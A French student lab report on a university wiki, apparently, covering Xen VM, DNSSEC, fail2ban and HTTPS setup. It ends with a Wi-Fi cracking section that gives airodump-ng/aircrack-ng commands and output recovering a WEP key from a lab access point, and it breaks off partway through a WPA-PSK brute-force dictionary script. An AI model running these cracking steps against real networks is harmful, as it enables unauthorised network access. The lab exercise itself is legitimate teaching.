&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12354</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12354"/>
		<updated>2026-02-23T10:34:17Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
